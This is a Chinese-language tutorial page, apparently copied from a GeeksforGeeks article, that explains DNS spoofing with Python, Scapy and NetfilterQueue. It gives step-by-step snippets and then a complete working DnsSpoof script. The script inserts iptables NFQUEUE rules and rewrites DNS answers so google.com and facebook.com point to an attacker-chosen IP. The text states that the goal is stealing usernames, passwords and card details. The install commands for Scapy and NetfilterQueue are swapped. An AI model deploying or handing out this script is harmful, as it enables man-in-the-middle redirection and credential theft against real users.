热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

利用Python和Scapy实施DNS欺骗攻击的技术解析

本文详细介绍了如何使用Python编程语言中的Scapy库执行DNS欺骗攻击,包括必要的软件安装、攻击流程及代码示例。
利用 Python 和 Scapy 实施 DNS 欺骗攻击的技术解析

参考链接: https://www.geeksforgeeks.org/如何制作-DNS-欺骗-攻击-使用-python-中的-scapy/

本文旨在探讨如何运用 Python 的 Scapy 库进行 DNS 欺骗攻击。在深入之前,需要了解几个关键概念:

  • DNS 服务: 域名系统(DNS)是一种协议,用于将人类可读的域名转换为机器可识别的 IP 地址。例如,当我们访问 google.com 时,浏览器会向 DNS 服务器请求该域名对应的 IP 地址,如 172.217.166.110。
  • DNS 欺骗: DNS 欺骗是一种网络攻击手段,攻击者通过篡改 DNS 查询结果,使目标用户误认为访问的是真实的网站,但实际上被导向了伪造的页面。这种攻击的目的通常是窃取用户的敏感信息,如用户名、密码或信用卡详情等。

所需工具:

  • Netfilter Queue: 这是一个 Python 库,允许开发者访问 Linux 系统中由 iptables 规则匹配的数据包。这些数据包可以被接受、丢弃、修改或标记。安装命令如下:

pip3 install scapy

  • Scapy: Scapy 是一个强大的 Python 包,能够操作计算机网络数据包,适用于网络扫描、路由追踪、网络探测等多种任务。安装命令如下:

pip3 install netfilterqueue

实施步骤:

  • 在目标网络中执行 ARP 欺骗,确保所有流量通过攻击者的设备传输。
  • 设置一条 Iptables 规则,将经过攻击者设备的流量推送到网络过滤队列中。
  • 使用自定义脚本处理队列中的数据包。
  • 处理后的数据包将被转发给目标用户。
  • 目标用户将接收到伪造的 DNS 响应,导致其访问错误的网页。
  • 结束攻击时,需清除先前设置的 Iptables 规则。

接下来,我们将详细介绍 DNS 欺骗攻击的具体实现过程。

步骤 1: 导入所需的库。

from scapy.all import *
import os
import logging as log
from scapy.all import IP, DNSRR, DNSQR, UDP, DNS
from netfilterqueue import NetfilterQueue

步骤 2: 在 IP 表中插入规则,使数据包被重定向至 Netfilter Queue。这里的队列编号可以根据需要自行设定。

os.system("sudo iptables -I FORWARD -j NFQUEUE --queue-num 1")

步骤 3: 初始化 Netfilter Queue 对象。

queue = NetfilterQueue()

步骤 4: 将队列对象绑定到指定队列号和回调函数,随后启动队列监听。

queue.bind(1, callback)
queue.run()

步骤 5: 定义需要欺骗的域名及其对应的 IP 地址映射表。

hostsDict = {
"google.com": "192.168.1.100",
"facebook.com": "192.168.1.100"
}

步骤 6: 当数据包到达队列时,触发回调函数处理。

def callback(packet):

步骤 7: 将 Netfilter Queue 数据包转换为 Scapy 数据包,便于后续操作。

scapy_packet = IP(packet.get_payload())

步骤 8: 检查数据包是否包含 DNS 资源记录。如果是,则进行篡改;否则,保持原样。

if scapy_packet.haslayer(DNSRR):

步骤 9: 提取 DNS 查询中的域名。

query_name = scapy_packet[DNSQR].qname

步骤 10: 若查询的域名存在于预先定义的映射表中,则替换响应中的 IP 地址。

if query_name in hostsDict:
scapy_packet[DNS].an = DNSRR(rrname=query_name, rdata=hostsDict[query_name])

步骤 11: 更新响应中的 DNS 记录数量。

scapy_packet[DNS].ancount = 1

步骤 12: 清除数据包中的长度和校验和字段,防止因修改引起的数据包完整性问题。

del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum

步骤 13: 将修改后的 Scapy 数据包内容更新回 Netfilter Queue 数据包。

packet.set_payload(bytes(scapy_packet))

步骤 14: 允许数据包继续传输至最终目的地。

packet.accept()

步骤 15: 攻击结束后,记得移除之前设置的 Iptables 规则。

os.system("sudo iptables -D FORWARD -j NFQUEUE --queue-num 1")

以下是完整的 Python 代码示例:

Python 3

import os
import logging as log
from scapy.all import IP, DNSRR, DNS, UDP, DNSQR
from netfilterqueue import NetfilterQueue

class DnsSpoof:
def __init__(self, host_dict, queue_num):
self.host_dict = host_dict
self.queue_num = queue_num
self.queue = NetfilterQueue()

def __call__(self):
log.info("Starting DNS spoof...")
os.system(f'iptables -I FORWARD -j NFQUEUE --queue-num {self.queue_num}')
self.queue.bind(self.queue_num, self.callback)
try:
self.queue.run()
except KeyboardInterrupt:
os.system(f'iptables -D FORWARD -j NFQUEUE --queue-num {self.queue_num}')
log.info("[!] Iptables rule removed")

def callback(self, packet):
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
try:
log.info(f'[Original] {scapy_packet[DNSRR].summary()}')
query_name = scapy_packet[DNSQR].qname.decode()
if query_name in self.host_dict:
scapy_packet[DNS].an = DNSRR(rrname=query_name, rdata=self.host_dict[query_name])
scapy_packet[DNS].ancount = 1
del scapy_packet[IP].len
del scapy_packet[IP].chksum
del scapy_packet[UDP].len
del scapy_packet[UDP].chksum
log.info(f'[Modified] {scapy_packet[DNSRR].summary()}')
else:
log.info(f'[Not Modified] {scapy_packet[DNSRR].rdata}')
except IndexError as e:
log.error(e)
packet.set_payload(bytes(scapy_packet))
packet.accept()

if __name__ == '__main__':
try:
host_dict = {
b"google.com.": "192.168.1.100",
b"facebook.com.": "192.168.1.100"
}
queue_num = 1
log.basicConfig(format='%(asctime)s - %(message)s', level=log.INFO)
dns_spoof = DnsSpoof(host_dict, queue_num)
dns_spoof()
except OSError as e:
log.error(e)


推荐阅读
  • Exploring issues and solutions when defining multiple Faust agents programmatically. ... [详细]
  • 解决Expo XDE 2.22.1版本启动错误
    根据问题描述,用户在将Expo升级至2.22.1版本后,在尝试打开项目时遇到了错误。本文提供了详细的错误分析及解决方案。 ... [详细]
  • 本文详细介绍了如何使用Linux下的mysqlshow命令来查询MySQL数据库的相关信息,包括数据库、表以及字段的详情。通过本文的学习,读者可以掌握mysqlshow命令的基本语法及其常用选项。 ... [详细]
  • 本文详细介绍了如何使用C#实现不同类型的系统服务账户(如Windows服务、计划任务和IIS应用池)的密码重置方法。 ... [详细]
  • 本文介绍了Linux内核中TCP的三种接收队列:Prequeue、sk_receive_queue和Backlog。这些队列在数据包处理过程中扮演着重要角色,帮助提高系统性能和效率。 ... [详细]
  • 为什么会崩溃? ... [详细]
  • 最新进展:作为最接近官方声明的信息源,本文吸引了大量关注。若需获取最新动态,请访问:lkhill.com/ccie-version-5-update ... [详细]
  • 深入解析Java并发之ArrayBlockingQueue
    本文详细探讨了ArrayBlockingQueue,这是一种基于数组实现的阻塞队列。ArrayBlockingQueue在初始化时需要指定容量,因此它是一个有界的阻塞队列。文章不仅介绍了其基本概念和数据结构,还深入分析了其源码实现,包括各种入队、出队、获取元素和删除元素的方法。 ... [详细]
  • 本文探讨了如何在Linux系统中利用iptables和NFQUEUE处理来自镜像端口的流量。当镜像端口的数据包目的MAC地址与主机MAC地址不符时,通常会导致流量无法被NFQUEUE捕获。文章提供了解决这一问题的方法。 ... [详细]
  • 使用R语言进行Foodmart数据的关联规则分析与可视化
    本文探讨了如何利用R语言中的arules和arulesViz包对Foodmart数据集进行关联规则的挖掘与可视化。文章首先介绍了数据集的基本情况,然后逐步展示了如何进行数据预处理、规则挖掘及结果的图形化呈现。 ... [详细]
  • 本文探讨了Android系统中联系人数据库的设计,特别是AbstractContactsProvider类的作用与实现。文章提供了对源代码的详细分析,并解释了该类如何支持跨数据库操作及事务处理。源代码可从官方Android网站下载。 ... [详细]
  • 本文介绍了一种在 Android 开发中动态修改 strings.xml 文件中字符串值的有效方法。通过使用占位符,开发者可以在运行时根据需要填充具体的值,从而提高应用的灵活性和可维护性。 ... [详细]
  • 题目描述:Balala Power! 时间限制:4000/2000 MS (Java/Other) 内存限制:131072/131072 K (Java/Other)。题目背景及问题描述详见正文。 ... [详细]
  • 本文探讨了Linux环境下线程私有数据(Thread-Specific Data, TSD)的概念及其重要性,介绍了如何通过TSD技术避免多线程间全局变量冲突的问题,并提供了具体的实现方法和示例代码。 ... [详细]
  • 春季职场跃迁指南:如何高效利用金三银四跳槽季
    随着每年的‘金三银四’跳槽高峰期的到来,许多职场人士都开始考虑是否应该寻找新的职业机会。本文将探讨如何制定有效的职业规划、撰写吸引人的简历以及掌握面试技巧,助您在这关键时期成功实现职场跃迁。 ... [详细]
author-avatar
方园不帅_718
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有